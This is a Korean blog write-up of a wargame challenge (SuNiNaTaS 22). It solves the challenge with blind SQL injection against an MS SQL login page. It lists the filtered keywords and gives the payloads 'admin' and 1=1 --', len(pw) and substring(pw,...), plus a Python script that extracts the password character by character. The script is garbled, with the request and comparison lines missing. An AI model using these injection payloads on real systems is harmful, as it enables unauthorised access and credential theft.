WarGame/suninatas
suniatas 22
DoR@Hee
2019. 4. 28. 00:19

select union or 등 등.. 여러가지를 막고 있다
or 구문은 막고있지만 and구문은 안막고 있으며
길이를 알 수 있는 length 문자열을 추출 할 수 있는 substr등은 필터링 하고 있지 않다.

일단 admin으로 인증해보기 위해서
admin' and 1=1 -- 입력 했으며 admin 로그인이 가능했다
문제는 여기서 부터였는데 mysql 에서는 length로 길이를 알 수 있지만
백날 length로 했을 때 길이를 알 수 없었다 그러던중 mysql 이 아닐 수 있다고 생각해서 ms sql 에 길이를 알 수 있는 함수인 len을 이용 길이를 알 수 있었다 그에 따라서
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
import requests
cookies = {'ASPSESSIONIDASRDRRRB': 'GKODFJNBBAEMKCBNFCEHFOAJ'}
for lengths in range(1, 122):
length = 0
url = "http://suninatas.com/Part_one/web22/web22.asp?id=admin' and len(pw)={0} -- &pw=1".format(lengths)
print("=====================================")
print("길이는{0}".format(lengths))
print("=====================================\n")
length = lengths
break
else:
continue
list = "abcdefghijklmnop1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ()*&^!@#$%"
for i in range(1, length + 1):
for j in range(0, len(list)):
url = "http://suninatas.com/Part_one/web22/web22.asp?id=admin' and substring(pw,{0},1)='{1}' -- &pw=1".format(i,list[j])
print("{0}".format(list[j]),end="")
break
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4f; text-decoration:none">Colored by Color Scripter
|
http://colorscripter.com/info#e" target="_blank" style="text-decoration:none; color:white">cs |
[코드1] 파이썬 코드
위 와 같이 코드를 작성했고
admin' and len(pw)={0}을 통해서 길이를 알아 낼 수 있었고
admin' and substring(pw,{0},1)={1}을 통해서 pw를 추출 할 수 있었다.